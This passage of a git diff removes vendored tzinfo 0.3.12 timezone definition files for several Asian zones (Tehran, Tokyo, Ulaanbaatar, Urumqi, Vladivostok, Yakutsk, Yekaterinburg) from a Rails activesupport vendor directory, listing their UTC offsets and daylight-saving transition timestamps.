-          tz.transition 1999, 10, :o8, 941310000
-          tz.transition 2000, 3, :o9, 954014400
-          tz.transition 2000, 10, :o8, 972759600
-          tz.transition 2001, 3, :o9, 985464000
-          tz.transition 2001, 10, :o8, 1004209200
-          tz.transition 2002, 3, :o9, 1017518400
-          tz.transition 2002, 10, :o8, 1035658800
-          tz.transition 2003, 3, :o9, 1048968000
-          tz.transition 2003, 10, :o8, 1067108400
-          tz.transition 2004, 3, :o9, 1080417600
-          tz.transition 2004, 6, :o6, 1088276400
-          tz.transition 2004, 10, :o7, 1099177200
-          tz.transition 2005, 3, :o8, 1111878000
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb
deleted file mode 100644
index d8df964a..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Tehran
-        include TimezoneDefinition
-        
-        timezone 'Asia/Tehran' do |tz|
-          tz.offset :o0, 12344, 0, :LMT
-          tz.offset :o1, 12344, 0, :TMT
-          tz.offset :o2, 12600, 0, :IRST
-          tz.offset :o3, 14400, 0, :IRST
-          tz.offset :o4, 14400, 3600, :IRDT
-          tz.offset :o5, 12600, 3600, :IRDT
-          
-          tz.transition 1915, 12, :o1, 26145324257, 10800
-          tz.transition 1945, 12, :o2, 26263670657, 10800
-          tz.transition 1977, 10, :o3, 247177800
-          tz.transition 1978, 3, :o4, 259272000
-          tz.transition 1978, 10, :o3, 277758000
-          tz.transition 1978, 12, :o2, 283982400
-          tz.transition 1979, 3, :o5, 290809800
-          tz.transition 1979, 9, :o2, 306531000
-          tz.transition 1980, 3, :o5, 322432200
-          tz.transition 1980, 9, :o2, 338499000
-          tz.transition 1991, 5, :o5, 673216200
-          tz.transition 1991, 9, :o2, 685481400
-          tz.transition 1992, 3, :o5, 701209800
-          tz.transition 1992, 9, :o2, 717103800
-          tz.transition 1993, 3, :o5, 732745800
-          tz.transition 1993, 9, :o2, 748639800
-          tz.transition 1994, 3, :o5, 764281800
-          tz.transition 1994, 9, :o2, 780175800
-          tz.transition 1995, 3, :o5, 795817800
-          tz.transition 1995, 9, :o2, 811711800
-          tz.transition 1996, 3, :o5, 827353800
-          tz.transition 1996, 9, :o2, 843247800
-          tz.transition 1997, 3, :o5, 858976200
-          tz.transition 1997, 9, :o2, 874870200
-          tz.transition 1998, 3, :o5, 890512200
-          tz.transition 1998, 9, :o2, 906406200
-          tz.transition 1999, 3, :o5, 922048200
-          tz.transition 1999, 9, :o2, 937942200
-          tz.transition 2000, 3, :o5, 953584200
-          tz.transition 2000, 9, :o2, 969478200
-          tz.transition 2001, 3, :o5, 985206600
-          tz.transition 2001, 9, :o2, 1001100600
-          tz.transition 2002, 3, :o5, 1016742600
-          tz.transition 2002, 9, :o2, 1032636600
-          tz.transition 2003, 3, :o5, 1048278600
-          tz.transition 2003, 9, :o2, 1064172600
-          tz.transition 2004, 3, :o5, 1079814600
-          tz.transition 2004, 9, :o2, 1095708600
-          tz.transition 2005, 3, :o5, 1111437000
-          tz.transition 2005, 9, :o2, 1127331000
-          tz.transition 2008, 3, :o5, 1206045000
-          tz.transition 2008, 9, :o2, 1221939000
-          tz.transition 2009, 3, :o5, 1237667400
-          tz.transition 2009, 9, :o2, 1253561400
-          tz.transition 2010, 3, :o5, 1269203400
-          tz.transition 2010, 9, :o2, 1285097400
-          tz.transition 2011, 3, :o5, 1300739400
-          tz.transition 2011, 9, :o2, 1316633400
-          tz.transition 2012, 3, :o5, 1332275400
-          tz.transition 2012, 9, :o2, 1348169400
-          tz.transition 2013, 3, :o5, 1363897800
-          tz.transition 2013, 9, :o2, 1379791800
-          tz.transition 2014, 3, :o5, 1395433800
-          tz.transition 2014, 9, :o2, 1411327800
-          tz.transition 2015, 3, :o5, 1426969800
-          tz.transition 2015, 9, :o2, 1442863800
-          tz.transition 2016, 3, :o5, 1458505800
-          tz.transition 2016, 9, :o2, 1474399800
-          tz.transition 2017, 3, :o5, 1490128200
-          tz.transition 2017, 9, :o2, 1506022200
-          tz.transition 2018, 3, :o5, 1521664200
-          tz.transition 2018, 9, :o2, 1537558200
-          tz.transition 2019, 3, :o5, 1553200200
-          tz.transition 2019, 9, :o2, 1569094200
-          tz.transition 2020, 3, :o5, 1584736200
-          tz.transition 2020, 9, :o2, 1600630200
-          tz.transition 2021, 3, :o5, 1616358600
-          tz.transition 2021, 9, :o2, 1632252600
-          tz.transition 2022, 3, :o5, 1647894600
-          tz.transition 2022, 9, :o2, 1663788600
-          tz.transition 2023, 3, :o5, 1679430600
-          tz.transition 2023, 9, :o2, 1695324600
-          tz.transition 2024, 3, :o5, 1710966600
-          tz.transition 2024, 9, :o2, 1726860600
-          tz.transition 2025, 3, :o5, 1742589000
-          tz.transition 2025, 9, :o2, 1758483000
-          tz.transition 2026, 3, :o5, 1774125000
-          tz.transition 2026, 9, :o2, 1790019000
-          tz.transition 2027, 3, :o5, 1805661000
-          tz.transition 2027, 9, :o2, 1821555000
-          tz.transition 2028, 3, :o5, 1837197000
-          tz.transition 2028, 9, :o2, 1853091000
-          tz.transition 2029, 3, :o5, 1868733000
-          tz.transition 2029, 9, :o2, 1884627000
-          tz.transition 2030, 3, :o5, 1900355400
-          tz.transition 2030, 9, :o2, 1916249400
-          tz.transition 2031, 3, :o5, 1931891400
-          tz.transition 2031, 9, :o2, 1947785400
-          tz.transition 2032, 3, :o5, 1963427400
-          tz.transition 2032, 9, :o2, 1979321400
-          tz.transition 2033, 3, :o5, 1994963400
-          tz.transition 2033, 9, :o2, 2010857400
-          tz.transition 2034, 3, :o5, 2026585800
-          tz.transition 2034, 9, :o2, 2042479800
-          tz.transition 2035, 3, :o5, 2058121800
-          tz.transition 2035, 9, :o2, 2074015800
-          tz.transition 2036, 3, :o5, 2089657800
-          tz.transition 2036, 9, :o2, 2105551800
-          tz.transition 2037, 3, :o5, 2121193800
-          tz.transition 2037, 9, :o2, 2137087800
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb
deleted file mode 100644
index 51c9e164..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Tokyo
-        include TimezoneDefinition
-        
-        timezone 'Asia/Tokyo' do |tz|
-          tz.offset :o0, 33539, 0, :LMT
-          tz.offset :o1, 32400, 0, :JST
-          tz.offset :o2, 32400, 0, :CJT
-          tz.offset :o3, 32400, 3600, :JDT
-          
-          tz.transition 1887, 12, :o1, 19285097, 8
-          tz.transition 1895, 12, :o2, 19308473, 8
-          tz.transition 1937, 12, :o1, 19431193, 8
-          tz.transition 1948, 5, :o3, 58384157, 24
-          tz.transition 1948, 9, :o1, 14596831, 6
-          tz.transition 1949, 4, :o3, 58392221, 24
-          tz.transition 1949, 9, :o1, 14599015, 6
-          tz.transition 1950, 5, :o3, 58401797, 24
-          tz.transition 1950, 9, :o1, 14601199, 6
-          tz.transition 1951, 5, :o3, 58410533, 24
-          tz.transition 1951, 9, :o1, 14603383, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb
deleted file mode 100644
index 2854f5c5..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Ulaanbaatar
-        include TimezoneDefinition
-        
-        timezone 'Asia/Ulaanbaatar' do |tz|
-          tz.offset :o0, 25652, 0, :LMT
-          tz.offset :o1, 25200, 0, :ULAT
-          tz.offset :o2, 28800, 0, :ULAT
-          tz.offset :o3, 28800, 3600, :ULAST
-          
-          tz.transition 1905, 7, :o1, 52208457187, 21600
-          tz.transition 1977, 12, :o2, 252435600
-          tz.transition 1983, 3, :o3, 417974400
-          tz.transition 1983, 9, :o2, 433782000
-          tz.transition 1984, 3, :o3, 449596800
-          tz.transition 1984, 9, :o2, 465318000
-          tz.transition 1985, 3, :o3, 481046400
-          tz.transition 1985, 9, :o2, 496767600
-          tz.transition 1986, 3, :o3, 512496000
-          tz.transition 1986, 9, :o2, 528217200
-          tz.transition 1987, 3, :o3, 543945600
-          tz.transition 1987, 9, :o2, 559666800
-          tz.transition 1988, 3, :o3, 575395200
-          tz.transition 1988, 9, :o2, 591116400
-          tz.transition 1989, 3, :o3, 606844800
-          tz.transition 1989, 9, :o2, 622566000
-          tz.transition 1990, 3, :o3, 638294400
-          tz.transition 1990, 9, :o2, 654620400
-          tz.transition 1991, 3, :o3, 670348800
-          tz.transition 1991, 9, :o2, 686070000
-          tz.transition 1992, 3, :o3, 701798400
-          tz.transition 1992, 9, :o2, 717519600
-          tz.transition 1993, 3, :o3, 733248000
-          tz.transition 1993, 9, :o2, 748969200
-          tz.transition 1994, 3, :o3, 764697600
-          tz.transition 1994, 9, :o2, 780418800
-          tz.transition 1995, 3, :o3, 796147200
-          tz.transition 1995, 9, :o2, 811868400
-          tz.transition 1996, 3, :o3, 828201600
-          tz.transition 1996, 9, :o2, 843922800
-          tz.transition 1997, 3, :o3, 859651200
-          tz.transition 1997, 9, :o2, 875372400
-          tz.transition 1998, 3, :o3, 891100800
-          tz.transition 1998, 9, :o2, 906822000
-          tz.transition 2001, 4, :o3, 988394400
-          tz.transition 2001, 9, :o2, 1001696400
-          tz.transition 2002, 3, :o3, 1017424800
-          tz.transition 2002, 9, :o2, 1033146000
-          tz.transition 2003, 3, :o3, 1048874400
-          tz.transition 2003, 9, :o2, 1064595600
-          tz.transition 2004, 3, :o3, 1080324000
-          tz.transition 2004, 9, :o2, 1096045200
-          tz.transition 2005, 3, :o3, 1111773600
-          tz.transition 2005, 9, :o2, 1127494800
-          tz.transition 2006, 3, :o3, 1143223200
-          tz.transition 2006, 9, :o2, 1159549200
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb
deleted file mode 100644
index d793ff13..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Urumqi
-        include TimezoneDefinition
-        
-        timezone 'Asia/Urumqi' do |tz|
-          tz.offset :o0, 21020, 0, :LMT
-          tz.offset :o1, 21600, 0, :URUT
-          tz.offset :o2, 28800, 0, :CST
-          tz.offset :o3, 28800, 3600, :CDT
-          
-          tz.transition 1927, 12, :o1, 10477063829, 4320
-          tz.transition 1980, 4, :o2, 325965600
-          tz.transition 1986, 5, :o3, 515520000
-          tz.transition 1986, 9, :o2, 527007600
-          tz.transition 1987, 4, :o3, 545155200
-          tz.transition 1987, 9, :o2, 558457200
-          tz.transition 1988, 4, :o3, 576604800
-          tz.transition 1988, 9, :o2, 589906800
-          tz.transition 1989, 4, :o3, 608659200
-          tz.transition 1989, 9, :o2, 621961200
-          tz.transition 1990, 4, :o3, 640108800
-          tz.transition 1990, 9, :o2, 653410800
-          tz.transition 1991, 4, :o3, 671558400
-          tz.transition 1991, 9, :o2, 684860400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb
deleted file mode 100644
index bd9e3d60..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb
+++ /dev/null
@@ -1,164 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Vladivostok
-        include TimezoneDefinition
-        
-        timezone 'Asia/Vladivostok' do |tz|
-          tz.offset :o0, 31664, 0, :LMT
-          tz.offset :o1, 32400, 0, :VLAT
-          tz.offset :o2, 36000, 0, :VLAT
-          tz.offset :o3, 36000, 3600, :VLAST
-          tz.offset :o4, 32400, 3600, :VLASST
-          tz.offset :o5, 32400, 0, :VLAST
-          
-          tz.transition 1922, 11, :o1, 13086214921, 5400
-          tz.transition 1930, 6, :o2, 19409185, 8
-          tz.transition 1981, 3, :o3, 354895200
-          tz.transition 1981, 9, :o2, 370702800
-          tz.transition 1982, 3, :o3, 386431200
-          tz.transition 1982, 9, :o2, 402238800
-          tz.transition 1983, 3, :o3, 417967200
-          tz.transition 1983, 9, :o2, 433774800
-          tz.transition 1984, 3, :o3, 449589600
-          tz.transition 1984, 9, :o2, 465321600
-          tz.transition 1985, 3, :o3, 481046400
-          tz.transition 1985, 9, :o2, 496771200
-          tz.transition 1986, 3, :o3, 512496000
-          tz.transition 1986, 9, :o2, 528220800
-          tz.transition 1987, 3, :o3, 543945600
-          tz.transition 1987, 9, :o2, 559670400
-          tz.transition 1988, 3, :o3, 575395200
-          tz.transition 1988, 9, :o2, 591120000
-          tz.transition 1989, 3, :o3, 606844800
-          tz.transition 1989, 9, :o2, 622569600
-          tz.transition 1990, 3, :o3, 638294400
-          tz.transition 1990, 9, :o2, 654624000
-          tz.transition 1991, 3, :o4, 670348800
-          tz.transition 1991, 9, :o5, 686077200
-          tz.transition 1992, 1, :o2, 695754000
-          tz.transition 1992, 3, :o3, 701787600
-          tz.transition 1992, 9, :o2, 717508800
-          tz.transition 1993, 3, :o3, 733248000
-          tz.transition 1993, 9, :o2, 748972800
-          tz.transition 1994, 3, :o3, 764697600
-          tz.transition 1994, 9, :o2, 780422400
-          tz.transition 1995, 3, :o3, 796147200
-          tz.transition 1995, 9, :o2, 811872000
-          tz.transition 1996, 3, :o3, 828201600
-          tz.transition 1996, 10, :o2, 846345600
-          tz.transition 1997, 3, :o3, 859651200
-          tz.transition 1997, 10, :o2, 877795200
-          tz.transition 1998, 3, :o3, 891100800
-          tz.transition 1998, 10, :o2, 909244800
-          tz.transition 1999, 3, :o3, 922550400
-          tz.transition 1999, 10, :o2, 941299200
-          tz.transition 2000, 3, :o3, 954000000
-          tz.transition 2000, 10, :o2, 972748800
-          tz.transition 2001, 3, :o3, 985449600
-          tz.transition 2001, 10, :o2, 1004198400
-          tz.transition 2002, 3, :o3, 1017504000
-          tz.transition 2002, 10, :o2, 1035648000
-          tz.transition 2003, 3, :o3, 1048953600
-          tz.transition 2003, 10, :o2, 1067097600
-          tz.transition 2004, 3, :o3, 1080403200
-          tz.transition 2004, 10, :o2, 1099152000
-          tz.transition 2005, 3, :o3, 1111852800
-          tz.transition 2005, 10, :o2, 1130601600
-          tz.transition 2006, 3, :o3, 1143302400
-          tz.transition 2006, 10, :o2, 1162051200
-          tz.transition 2007, 3, :o3, 1174752000
-          tz.transition 2007, 10, :o2, 1193500800
-          tz.transition 2008, 3, :o3, 1206806400
-          tz.transition 2008, 10, :o2, 1224950400
-          tz.transition 2009, 3, :o3, 1238256000
-          tz.transition 2009, 10, :o2, 1256400000
-          tz.transition 2010, 3, :o3, 1269705600
-          tz.transition 2010, 10, :o2, 1288454400
-          tz.transition 2011, 3, :o3, 1301155200
-          tz.transition 2011, 10, :o2, 1319904000
-          tz.transition 2012, 3, :o3, 1332604800
-          tz.transition 2012, 10, :o2, 1351353600
-          tz.transition 2013, 3, :o3, 1364659200
-          tz.transition 2013, 10, :o2, 1382803200
-          tz.transition 2014, 3, :o3, 1396108800
-          tz.transition 2014, 10, :o2, 1414252800
-          tz.transition 2015, 3, :o3, 1427558400
-          tz.transition 2015, 10, :o2, 1445702400
-          tz.transition 2016, 3, :o3, 1459008000
-          tz.transition 2016, 10, :o2, 1477756800
-          tz.transition 2017, 3, :o3, 1490457600
-          tz.transition 2017, 10, :o2, 1509206400
-          tz.transition 2018, 3, :o3, 1521907200
-          tz.transition 2018, 10, :o2, 1540656000
-          tz.transition 2019, 3, :o3, 1553961600
-          tz.transition 2019, 10, :o2, 1572105600
-          tz.transition 2020, 3, :o3, 1585411200
-          tz.transition 2020, 10, :o2, 1603555200
-          tz.transition 2021, 3, :o3, 1616860800
-          tz.transition 2021, 10, :o2, 1635609600
-          tz.transition 2022, 3, :o3, 1648310400
-          tz.transition 2022, 10, :o2, 1667059200
-          tz.transition 2023, 3, :o3, 1679760000
-          tz.transition 2023, 10, :o2, 1698508800
-          tz.transition 2024, 3, :o3, 1711814400
-          tz.transition 2024, 10, :o2, 1729958400
-          tz.transition 2025, 3, :o3, 1743264000
-          tz.transition 2025, 10, :o2, 1761408000
-          tz.transition 2026, 3, :o3, 1774713600
-          tz.transition 2026, 10, :o2, 1792857600
-          tz.transition 2027, 3, :o3, 1806163200
-          tz.transition 2027, 10, :o2, 1824912000
-          tz.transition 2028, 3, :o3, 1837612800
-          tz.transition 2028, 10, :o2, 1856361600
-          tz.transition 2029, 3, :o3, 1869062400
-          tz.transition 2029, 10, :o2, 1887811200
-          tz.transition 2030, 3, :o3, 1901116800
-          tz.transition 2030, 10, :o2, 1919260800
-          tz.transition 2031, 3, :o3, 1932566400
-          tz.transition 2031, 10, :o2, 1950710400
-          tz.transition 2032, 3, :o3, 1964016000
-          tz.transition 2032, 10, :o2, 1982764800
-          tz.transition 2033, 3, :o3, 1995465600
-          tz.transition 2033, 10, :o2, 2014214400
-          tz.transition 2034, 3, :o3, 2026915200
-          tz.transition 2034, 10, :o2, 2045664000
-          tz.transition 2035, 3, :o3, 2058364800
-          tz.transition 2035, 10, :o2, 2077113600
-          tz.transition 2036, 3, :o3, 2090419200
-          tz.transition 2036, 10, :o2, 2108563200
-          tz.transition 2037, 3, :o3, 2121868800
-          tz.transition 2037, 10, :o2, 2140012800
-          tz.transition 2038, 3, :o3, 14793061, 6
-          tz.transition 2038, 10, :o2, 14794363, 6
-          tz.transition 2039, 3, :o3, 14795245, 6
-          tz.transition 2039, 10, :o2, 14796547, 6
-          tz.transition 2040, 3, :o3, 14797429, 6
-          tz.transition 2040, 10, :o2, 14798731, 6
-          tz.transition 2041, 3, :o3, 14799655, 6
-          tz.transition 2041, 10, :o2, 14800915, 6
-          tz.transition 2042, 3, :o3, 14801839, 6
-          tz.transition 2042, 10, :o2, 14803099, 6
-          tz.transition 2043, 3, :o3, 14804023, 6
-          tz.transition 2043, 10, :o2, 14805283, 6
-          tz.transition 2044, 3, :o3, 14806207, 6
-          tz.transition 2044, 10, :o2, 14807509, 6
-          tz.transition 2045, 3, :o3, 14808391, 6
-          tz.transition 2045, 10, :o2, 14809693, 6
-          tz.transition 2046, 3, :o3, 14810575, 6
-          tz.transition 2046, 10, :o2, 14811877, 6
-          tz.transition 2047, 3, :o3, 14812801, 6
-          tz.transition 2047, 10, :o2, 14814061, 6
-          tz.transition 2048, 3, :o3, 14814985, 6
-          tz.transition 2048, 10, :o2, 14816245, 6
-          tz.transition 2049, 3, :o3, 14817169, 6
-          tz.transition 2049, 10, :o2, 14818471, 6
-          tz.transition 2050, 3, :o3, 14819353, 6
-          tz.transition 2050, 10, :o2, 14820655, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb
deleted file mode 100644
index 56435a78..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Yakutsk
-        include TimezoneDefinition
-        
-        timezone 'Asia/Yakutsk' do |tz|
-          tz.offset :o0, 31120, 0, :LMT
-          tz.offset :o1, 28800, 0, :YAKT
-          tz.offset :o2, 32400, 0, :YAKT
-          tz.offset :o3, 32400, 3600, :YAKST
-          tz.offset :o4, 28800, 3600, :YAKST
-          
-          tz.transition 1919, 12, :o1, 2616091711, 1080
-          tz.transition 1930, 6, :o2, 14556889, 6
-          tz.transition 1981, 3, :o3, 354898800
-          tz.transition 1981, 9, :o2, 370706400
-          tz.transition 1982, 3, :o3, 386434800
-          tz.transition 1982, 9, :o2, 402242400
-          tz.transition 1983, 3, :o3, 417970800
-          tz.transition 1983, 9, :o2, 433778400
-          tz.transition 1984, 3, :o3, 449593200
-          tz.transition 1984, 9, :o2, 465325200
-          tz.transition 1985, 3, :o3, 481050000
-          tz.transition 1985, 9, :o2, 496774800
-          tz.transition 1986, 3, :o3, 512499600
-          tz.transition 1986, 9, :o2, 528224400
-          tz.transition 1987, 3, :o3, 543949200
-          tz.transition 1987, 9, :o2, 559674000
-          tz.transition 1988, 3, :o3, 575398800
-          tz.transition 1988, 9, :o2, 591123600
-          tz.transition 1989, 3, :o3, 606848400
-          tz.transition 1989, 9, :o2, 622573200
-          tz.transition 1990, 3, :o3, 638298000
-          tz.transition 1990, 9, :o2, 654627600
-          tz.transition 1991, 3, :o4, 670352400
-          tz.transition 1991, 9, :o1, 686080800
-          tz.transition 1992, 1, :o2, 695757600
-          tz.transition 1992, 3, :o3, 701791200
-          tz.transition 1992, 9, :o2, 717512400
-          tz.transition 1993, 3, :o3, 733251600
-          tz.transition 1993, 9, :o2, 748976400
-          tz.transition 1994, 3, :o3, 764701200
-          tz.transition 1994, 9, :o2, 780426000
-          tz.transition 1995, 3, :o3, 796150800
-          tz.transition 1995, 9, :o2, 811875600
-          tz.transition 1996, 3, :o3, 828205200
-          tz.transition 1996, 10, :o2, 846349200
-          tz.transition 1997, 3, :o3, 859654800
-          tz.transition 1997, 10, :o2, 877798800
-          tz.transition 1998, 3, :o3, 891104400
-          tz.transition 1998, 10, :o2, 909248400
-          tz.transition 1999, 3, :o3, 922554000
-          tz.transition 1999, 10, :o2, 941302800
-          tz.transition 2000, 3, :o3, 954003600
-          tz.transition 2000, 10, :o2, 972752400
-          tz.transition 2001, 3, :o3, 985453200
-          tz.transition 2001, 10, :o2, 1004202000
-          tz.transition 2002, 3, :o3, 1017507600
-          tz.transition 2002, 10, :o2, 1035651600
-          tz.transition 2003, 3, :o3, 1048957200
-          tz.transition 2003, 10, :o2, 1067101200
-          tz.transition 2004, 3, :o3, 1080406800
-          tz.transition 2004, 10, :o2, 1099155600
-          tz.transition 2005, 3, :o3, 1111856400
-          tz.transition 2005, 10, :o2, 1130605200
-          tz.transition 2006, 3, :o3, 1143306000
-          tz.transition 2006, 10, :o2, 1162054800
-          tz.transition 2007, 3, :o3, 1174755600
-          tz.transition 2007, 10, :o2, 1193504400
-          tz.transition 2008, 3, :o3, 1206810000
-          tz.transition 2008, 10, :o2, 1224954000
-          tz.transition 2009, 3, :o3, 1238259600
-          tz.transition 2009, 10, :o2, 1256403600
-          tz.transition 2010, 3, :o3, 1269709200
-          tz.transition 2010, 10, :o2, 1288458000
-          tz.transition 2011, 3, :o3, 1301158800
-          tz.transition 2011, 10, :o2, 1319907600
-          tz.transition 2012, 3, :o3, 1332608400
-          tz.transition 2012, 10, :o2, 1351357200
-          tz.transition 2013, 3, :o3, 1364662800
-          tz.transition 2013, 10, :o2, 1382806800
-          tz.transition 2014, 3, :o3, 1396112400
-          tz.transition 2014, 10, :o2, 1414256400
-          tz.transition 2015, 3, :o3, 1427562000
-          tz.transition 2015, 10, :o2, 1445706000
-          tz.transition 2016, 3, :o3, 1459011600
-          tz.transition 2016, 10, :o2, 1477760400
-          tz.transition 2017, 3, :o3, 1490461200
-          tz.transition 2017, 10, :o2, 1509210000
-          tz.transition 2018, 3, :o3, 1521910800
-          tz.transition 2018, 10, :o2, 1540659600
-          tz.transition 2019, 3, :o3, 1553965200
-          tz.transition 2019, 10, :o2, 1572109200
-          tz.transition 2020, 3, :o3, 1585414800
-          tz.transition 2020, 10, :o2, 1603558800
-          tz.transition 2021, 3, :o3, 1616864400
-          tz.transition 2021, 10, :o2, 1635613200
-          tz.transition 2022, 3, :o3, 1648314000
-          tz.transition 2022, 10, :o2, 1667062800
-          tz.transition 2023, 3, :o3, 1679763600
-          tz.transition 2023, 10, :o2, 1698512400
-          tz.transition 2024, 3, :o3, 1711818000
-          tz.transition 2024, 10, :o2, 1729962000
-          tz.transition 2025, 3, :o3, 1743267600
-          tz.transition 2025, 10, :o2, 1761411600
-          tz.transition 2026, 3, :o3, 1774717200
-          tz.transition 2026, 10, :o2, 1792861200
-          tz.transition 2027, 3, :o3, 1806166800
-          tz.transition 2027, 10, :o2, 1824915600
-          tz.transition 2028, 3, :o3, 1837616400
-          tz.transition 2028, 10, :o2, 1856365200
-          tz.transition 2029, 3, :o3, 1869066000
-          tz.transition 2029, 10, :o2, 1887814800
-          tz.transition 2030, 3, :o3, 1901120400
-          tz.transition 2030, 10, :o2, 1919264400
-          tz.transition 2031, 3, :o3, 1932570000
-          tz.transition 2031, 10, :o2, 1950714000
-          tz.transition 2032, 3, :o3, 1964019600
-          tz.transition 2032, 10, :o2, 1982768400
-          tz.transition 2033, 3, :o3, 1995469200
-          tz.transition 2033, 10, :o2, 2014218000
-          tz.transition 2034, 3, :o3, 2026918800
-          tz.transition 2034, 10, :o2, 2045667600
-          tz.transition 2035, 3, :o3, 2058368400
-          tz.transition 2035, 10, :o2, 2077117200
-          tz.transition 2036, 3, :o3, 2090422800
-          tz.transition 2036, 10, :o2, 2108566800
-          tz.transition 2037, 3, :o3, 2121872400
-          tz.transition 2037, 10, :o2, 2140016400
-          tz.transition 2038, 3, :o3, 59172245, 24
-          tz.transition 2038, 10, :o2, 59177453, 24
-          tz.transition 2039, 3, :o3, 59180981, 24
-          tz.transition 2039, 10, :o2, 59186189, 24
-          tz.transition 2040, 3, :o3, 59189717, 24
-          tz.transition 2040, 10, :o2, 59194925, 24
-          tz.transition 2041, 3, :o3, 59198621, 24
-          tz.transition 2041, 10, :o2, 59203661, 24
-          tz.transition 2042, 3, :o3, 59207357, 24
-          tz.transition 2042, 10, :o2, 59212397, 24
-          tz.transition 2043, 3, :o3, 59216093, 24
-          tz.transition 2043, 10, :o2, 59221133, 24
-          tz.transition 2044, 3, :o3, 59224829, 24
-          tz.transition 2044, 10, :o2, 59230037, 24
-          tz.transition 2045, 3, :o3, 59233565, 24
-          tz.transition 2045, 10, :o2, 59238773, 24
-          tz.transition 2046, 3, :o3, 59242301, 24
-          tz.transition 2046, 10, :o2, 59247509, 24
-          tz.transition 2047, 3, :o3, 59251205, 24
-          tz.transition 2047, 10, :o2, 59256245, 24
-          tz.transition 2048, 3, :o3, 59259941, 24
-          tz.transition 2048, 10, :o2, 59264981, 24
-          tz.transition 2049, 3, :o3, 59268677, 24
-          tz.transition 2049, 10, :o2, 59273885, 24
-          tz.transition 2050, 3, :o3, 59277413, 24
-          tz.transition 2050, 10, :o2, 59282621, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb
deleted file mode 100644
index 8ef8df4a..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb
+++ /dev/null
@@ -1,165 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Yekaterinburg
-        include TimezoneDefinition
-        
-        timezone 'Asia/Yekaterinburg' do |tz|
-          tz.offset :o0, 14544, 0, :LMT
-          tz.offset :o1, 14400, 0, :SVET
-          tz.offset :o2, 18000, 0, :SVET
-          tz.offset :o3, 18000, 3600, :SVEST
-          tz.offset :o4, 14400, 3600, :SVEST
-          tz.offset :o5, 18000, 0, :YEKT
-          tz.offset :o6, 18000, 3600, :YEKST
-          
-          tz.transition 1919, 7, :o1, 1453292699, 600
-          tz.transition 1930, 6, :o2, 7278445, 3
-          tz.transition 1981, 3, :o3, 354913200
-          tz.transition 1981, 9, :o2, 370720800
-          tz.transition 1982, 3, :o3, 386449200
-          tz.transition 1982, 9, :o2, 402256800
-          tz.transition 1983, 3, :o3, 417985200
-          tz.transition 1983, 9, :o2, 433792800
-          tz.transition 1984, 3, :o3, 449607600
-          tz.transition 1984, 9, :o2, 465339600
-          tz.transition 1985, 3, :o3, 481064400
-          tz.transition 1985, 9, :o2, 496789200
-          tz.transition 1986, 3, :o3, 512514000
-          tz.transition 1986, 9, :o2, 528238800
-          tz.transition 1987, 3, :o3, 543963600
-          tz.transition 1987, 9, :o2, 559688400
-          tz.transition 1988, 3, :o3, 575413200
